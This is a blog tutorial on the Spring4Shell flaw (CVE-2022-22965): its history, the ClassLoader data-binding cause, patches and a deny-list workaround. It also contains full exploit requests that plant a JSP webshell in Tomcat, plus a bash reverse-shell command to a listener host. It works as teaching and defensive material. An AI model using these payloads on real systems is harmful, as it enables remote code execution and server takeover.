Log4j's Perfect Partner: Spring4Shell Vulnerability
Today I want to talk about the Spring4Shell vulnerability. You may have heard of it, but it actually has a history - it didn't just appear out of nowhere.

1. The History of the Vulnerability
1.1 Its Former Name: CVE-2010-1622
This vulnerability actually appeared back in 2010, when it was called CVE-2010-1622. The current CVE-2022-22965 and CVE-2010-1622 both exploit the same code block.
The Spring4Shell vulnerability was first discovered on March 31, 2022, in a VMware blog post: CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+. This blog post described the prerequisites for triggering this vulnerability:
These are the prerequisites for the exploit:
- JDK 9 or higher
- Apache Tomcat as the Servlet container
- Packaged as WAR
- spring-webmvc or spring-webflux dependency
1.2 The Perfect Partner: Log4j Vulnerability
The Spring + Tomcat + WAR combination is still very common. Because many companies upgraded their JDK to version 9 or above due to the recent Log4j vulnerability, this vulnerability has spread like wildfire across companies.

Shortly after VMware published this blog, Spring created a dedicated page to track this vulnerability: Spring Framework RCE, Early Announcement, which provides more detailed information about the scope of CVE-2022-22965.
Then CISA (Cybersecurity and Infrastructure Security Agency) added this vulnerability to its Known Exploited Vulnerabilities Catalog based on "evidence of active exploitation." Here's their official announcement: Spring Releases Security Updates Addressing "Spring4Shell" and Spring Cloud Function Vulnerabilities
By the first weekend after the vulnerability was disclosed, Check Point reported detecting 37,000 Spring4Shell attacks on April 2nd alone.
Check Point is a software company, officially Check Point Software Technologies Ltd., founded in 1993 and headquartered in Tel Aviv, Israel. It's a world-leading Internet security solutions provider.

In terms of geographic distribution of vulnerability exploitation, Europe topped the list at 20%

The most affected industry was software vendors, with 28% of organizations impacted by the vulnerability

You can find more detailed information from Check Point here: 16% of organizations worldwide impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak
I believe many online services still haven't been patched because this vulnerability hasn't spread as widely as the Log4j one. That's exactly why we need to pay attention to it - it can be discovered directly through scanners. According to the Alibaba Cloud - 2019 First Half Web Application Security Report, over 90% of attack traffic comes from scanners.

2. Vulnerability Cause and Fix
The project used in the following content is available on GitHub: spring4shelldemo
Now that we've covered the progress of this vulnerability, as programmers with a spirit of tracing things to their source, let's dig into what this vulnerability does in the code and why it only appears in JDK 9 and above.
But first, we need to understand the cause of CVE-2010-1622.
2.1 CVE-2010-1622 Cause

In 2010, during the JDK 8 era, SpringMVC already existed. We could define Java bean objects to parse user requests and bind user-submitted parameters to class parameters. Here's an example:
Define a Bean object, ShoppingCart:
package run.runnable.spring4shelldemo.entity;
/**
* @author Asher
* on 2022/4/17 */public class ShoppingCart {
private Integer userId;
private Long total;
public Integer getUserId() {
return userId;
}
public void setUserId(Integer userId) {
this.userId = userId;
}
public Long getTotal() {
return total;
}
public void setTotal(Long total) {
this.total = total;
}
@Override
public String toString() {
return "ShoppingCart{" +
"userId=" + userId +
", total=" + total +
'}';
}
}
Then in the Controller, we write a method to query the total price in a user's shopping cart:
package run.runnable.spring4shelldemo.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import run.runnable.spring4shelldemo.entity.ShoppingCart;
import java.util.Map;
/**
* @author Asher
* on 2022/4/17 */@Controller
public class ShoppingCartController {
private final static Logger logger = LoggerFactory.getLogger(ShoppingCartController.class);
@RequestMapping(value = "/total", method = RequestMethod.POST)
@ResponseBody
public ShoppingCart total(@RequestParam Map<String, String> requestparams, ShoppingCart shoppingCart) {
String userId = requestparams.get("userId");
logger.info("userId:{}", userId);
//query from DB
Long total = 100L;
shoppingCart.setTotal(total);
return shoppingCart;
}
}
When we make a request using Postman or other tools, we can submit via form data. In the total method, it will automatically bind userId to the ShoppingCart object and inject the userId value.


In the screenshot above, you can clearly see that the userId property in ShoppingCart already has a corresponding value. This is because during this automatic process, Spring automatically discovers public methods and fields in the ShoppingCart object. If a public field exists in ShoppingCart, it's automatically bound and allows users to submit requests to assign values to it.
This is because our ShoppingCart class contains:
public void setUserId(Integer userId) {
this.userId = userId;
}
After Spring's automatic discovery, it binds the value we passed to userId.
Understanding the above operation will help you better understand the cause of the vulnerability. In Java objects, objects have corresponding class objects. For example, ShoppingCart's class object is ShoppingCart.class. The class object has a class loader responsible for the class loading process. During this loading process, the JVM must complete 3 tasks:
- Obtain the binary byte stream that defines this class through the fully qualified name
- Convert the static storage structure represented by this byte stream into the runtime data structure of the method area
- Generate a java.lang.Class object representing this class in the Java heap as the access entry point for this data in the method area
The key point is that the JVM doesn't restrict where the binary stream comes from, so we can use the system class loader or write our own loader to control byte stream acquisition:
- From class files -> normal file loading
- From zip packages -> loading classes from jars
- From the network -> Applet
By the way, this is how RPC framework remote calls are implemented.
Back to class loaders - if we use a class loader in the Spring framework to load a class that doesn't originally belong to this system and execute methods in that class, doesn't that mean successful penetration? This is the cause of the CVE-2010-1622 vulnerability.
When we include class.classloader=com.xxx.xxx.class in the request, we can actually control the classLoader in Spring. However, in the previous vulnerability fix, Spring added the following code in CachedIntrospectionResults.class:
If the request is for a class object and the requested property is classLoader, it will be skipped:

2.2 CVE-2022-22965 Cause
After the above issue was fixed, Java 9 was finally released on September 21, 2017, introducing the new Jigsaw modular system. In this new feature, a getModule method was added to java.lang.Class objects to get the corresponding module object.
Let's look at its documentation:
Returns the module that this class or interface is a member of. If this class represents an array type then this method returns the Module for the element type. If this class represents a primitive type or void, then the Module object for the java.base module is returned. If this class is in an unnamed module then the unnamed Module of the class loader for this class is returned. Returns: the module that this class or interface is a member of
This means the Module object contains a loader variable and a getClassLoader() method, allowing users to obtain the classLoader through ShoppingCart.class.getModule().getClassLoader(), causing the vulnerability again.


Through Module, you can obtain the ClassLoader object of the Web Context environment.
So if we add class.module.classLoader parameters to the request, we can bypass the previously fixed code.
POST http://localhost:8080/spring4shelldemo_war/total
Header:
Content-Type:application/x-www-form-urlencoded
suffix:%>//
c1:Runtime
c2::<%
RequestBody:
class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:
The header values are required. In the RequestBody, the %i syntax retrieves xxx from the request header. After the request, a jsp file will be generated in Tomcat's Root directory.

Note that if you're also using IDEA to start, the generated folder won't be in your downloaded Tomcat configuration directory, but in a temporary directory - the one printed at startup:

2.3 Vulnerability Fix
The fix for this vulnerability is clearly explained on the Spring page mentioned above: Spring Framework RCE, Early Announcement
2.3.1 Preferred Method
The preferred response is to update to Spring Framework 5.3.18 and 5.2.20 or higher.
2.3.2 Upgrade Tomcat
Upgrade to Apache Tomcat 10.0.20, 9.0.62, or 8.5.78. However, this is only an emergency fix - the main goal should be to upgrade to a currently supported Spring Framework version as soon as possible.
2.3.3 Downgrade to Java 8
However, you need to be aware of the Log4j vulnerability that was disclosed recently. Reference: Reproducing the Log4j Vulnerability in SpringBoot
2.3.4 Disable Properties
Another viable workaround is to prohibit binding to specific fields by globally setting disallowedFields on WebDataBinder.
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
3. Vulnerability Impact
3.1 Detecting the Vulnerability
There are many tools on GitHub to detect this vulnerability, so I'll just introduce one ready-to-use tool: spring4shell-scan
After downloading with git, use ./spring4shell-scan.py -h to view the help menu:

Use the -u command to quickly check if a URL is vulnerable, for example:
python3 spring4shell-scan.py -u http://localhost:8080/spring4shelldemo_war/total
When a vulnerability is found, there will be output:

It can also check multiple URLs from a text file, but I won't go into detail here. Feel free to explore if you're interested.
3.2 Exploiting the Vulnerability for Reverse Shell
Since many of our servers run Linux, we can slightly modify the above request to achieve a reverse shell.
Reverse Shell: The control end first listens on a TCP/UDP port, then the controlled end initiates a request to this port while redirecting its command line input/output to the control end, allowing the control end to input commands to control the controlled end.
3.2.1 Vulnerability Reproduction + Setting Up the Target Environment
Let's package this IDEA project. If you start directly in IDEA, you won't be able to access the generated jsp file.

Then place it in Tomcat's webapp directory. After starting Tomcat, it will automatically extract.

After starting, let's try accessing it - it works.

Then we pass in malicious parameters:
http://localhost:8080/spring4shelldemo/total
headers:
Content-Type:application/x-www-form-urlencoded
suffix:%>//
c1:Runtime
c2:<%
requestBody:
class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("S".equals(request.getParameter("Tomcat"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:Shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:

After the request, let's check Tomcat's webapp directory - a ROOT directory has been added:

Click in and open the generated Shell.jsp:

Access this file directly in the browser and execute a command - you can see it actually prints the current user executing the command:
http://localhost:8080/Shell.jsp?Tomcat=S&cmd=whoami

Why is the command after cmd executed? The reason is in the generated jsp file. Let's open it and see:

In this jsp file, code is directly injected through requestParam into the Shell.jsp file. The corresponding parameter in the request is: class.module.classLoader.resources.context.parent.pipeline.first.pattern
We all know that Java's jsp files are actually special servlets that can execute any code. In ancient times, people even wrote database operations in jsp files.
3.2.2 Reverse Shell Operation
Since executing various commands in the browser is very inconvenient, I set up another server with a public IP. On this public server, I installed the reverse shell tool nc - simply yum install nc.
Then on the public server: nc -lvp 32767 - this command means to listen on port 32767

Then we pass a command to the vulnerable machine:
bash -i >& /dev/tcp/public_server_ip/32767 0>&1
Now you have terminal output from the computer running the Spring4Shell vulnerable code on that public server.
4. Summary
This vulnerability really pairs perfectly with the Log4j vulnerability. Shortly after the Log4j vulnerability was disclosed, many people upgraded their JDK to version 9 or above, and then this vulnerability was disclosed, catching many people off guard.
It also made me realize that when JDK upgrades bring new features, some new features will give birth to many great projects that amaze people, but the potential vulnerabilities they bring are also a Sword of Damocles.
At the same time, keeping networks and data assets secure isn't just an endless battle between security teams and hackers. Every line of code we programmers write is also key to supporting the entire system, and the most vulnerable part of any open source project is definitely its weakest link.
5. Reference Links
Spring Framework RCE, Early Announcement
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
16% of organizations worldwide impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak
Spring Releases Security Updates Addressing "Spring4Shell" and Spring Cloud Function Vulnerabilities
github - spring4shell-scan
https://github.com/fullhunt/spring4shell-scan
The History of Spring-RCE (CVE-2022-22965)
https://blog.csdn.net/include_voidmain/article/details/124038228
Alibaba Cloud - 2019 First Half Web Application Security Report.pdf
Detailed Analysis of Java ClassLoader Working Mechanism
https://segmentfault.com/a/1190000008491597